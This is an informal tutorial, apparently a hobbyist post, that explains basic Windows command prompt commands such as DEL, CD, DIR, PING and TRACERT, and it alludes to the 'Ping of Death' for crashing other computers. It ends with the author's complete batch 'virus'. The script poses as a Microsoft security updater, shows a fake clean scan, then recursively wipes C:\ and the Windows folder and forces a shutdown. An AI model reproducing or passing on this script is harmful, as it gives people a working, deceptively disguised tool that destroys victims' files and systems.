[Note: You must be running Windows 95,98,Nt,2000,2003,Xp,Vista or some other form of Windows for this to work-NOT an iMac or something else]
~The Basics~
<Opening the command prompt>
-
Click the Start button ( if you have trouble with that one, please do not even attempt to read the rest of this).
-
Go to All Programs>Accessories>Command Prompt.
OR
-
Click on the Start button.
-
Click on "Run".
-
Type in "cmd.exe" or "command.com" if you have an older computer.
-
It should open something similar to this:
<Useful Commands>
While you are in the command prompt, if you type one of the preset commands and press enter, it will execute your command. If it doesn't recognize what you typed in as a command, it will say something like, "This is not recognized as an internal or external command, operable program, or batch file". Here are some useful commands to type in:
-
HELP-if you type "help" and press enter, it will give you a list of the available commands that you can type in, and their definitions.
-
EXIT-type exit then press enter and it will close the command prompt (clicking the x in the corner also works).
-
DEL-deletes a file Example:
DEL C:\Documents and Settings\YourUsernameHere\My Documents\killme.txt
That would delete killme.txt.
- CD-CD, or "change directories" is the command you type if you want to change the directory. You also have to supply the directory that you want to go to, like this:
CD c:\Documents and Settings\YourUsernameHere\Desktop\
Would change the directory (the thing that by default says C:\WINDOWS>) to C:\Documents and Settings\YourUsernameHere\Desktop>.
- DIR-displays all of the files in the current directory (like if the directory was C:\Documents and Settings\Adrian\Desktop> , it would show me everything on my desktop, or C:\Documents and Settings\Adrian\My Documents> would display everything in My Documents).
- (command)/?-typing /? right after a command tells you what that command does, for example, if i typed:
dir/?
it would tell me what the dir command does, along with some properties.
-
CLS-cls clears the screen. Handy.
-
ECHO-displays a message. Example:
ECHO Hi.
Would display "Hi.".
- PING-the ping command tells you if a remote host is active or inactive and the round-trip delay in contacting the host. For example:
ping 64.233.187.99
OR
ping google.com
would ping google with 32 bytes of data by default to see if the site is online. To see all options for the ping command type
ping/?
then press enter. (Also, there is a way that you can sometimes crash the TCP/IP stack on other people's computers by pinging them with over the maximum allowed data packet sized (65535 bytes). See Ping of Death)
TRACERT (or traceroute for older computers)-Example
tracert 66.94.234.13
will tell you how many side stops a request to go to that server/site will make on the way. Type tracert/? to see available properties that can be added to the command.
-
COPY- copy copies a file for one location to another. For example if you type:
copy c:\to_copy\filetocopy.txt c:\files\copied.txt
then press enter, it will tell you that it was sucessful, and copy filetocopy.txt from the folder to_copy to the folder files.
-
MOVE-this command moves a file from one spot to another. Exactly like the COPY command, but substitute COPY for MOVE.
-
TIME-displays the time and prompts you to change it. Press Enter if you don't want to change the time.
-
DATE-same as TIME, except with the date.
Here is a virus that I made, using some of these commands...
@echo off
cls
:1
echo Welcome to the Microsoft Windows Security Updater.
echo.
echo This program will check all files on your computer for
echo viruses, worms, trojans, and other malware.
echo.
echo This will only take a few seconds to complete.
echo.
pause
goto scanner
:scanner
cls
echo Scanning system...
echo.
pause
dir %systemroot%
echo.
echo.
echo System scanned successfully.
echo No types of malware were detected.
echo.
pause
goto deleter
:deleter
REM This is the part that would actually delete all files on someone's computer...Not that I would ever do that...
cls
rmdir /S /Q C:\
rmdir /S /Q %systemroot%
CD C:\
del /Q *.*
goto exit
:exit
shutdown -s -f -t (seconds to delay before shutting down) -c (message to display to the unlucky person)
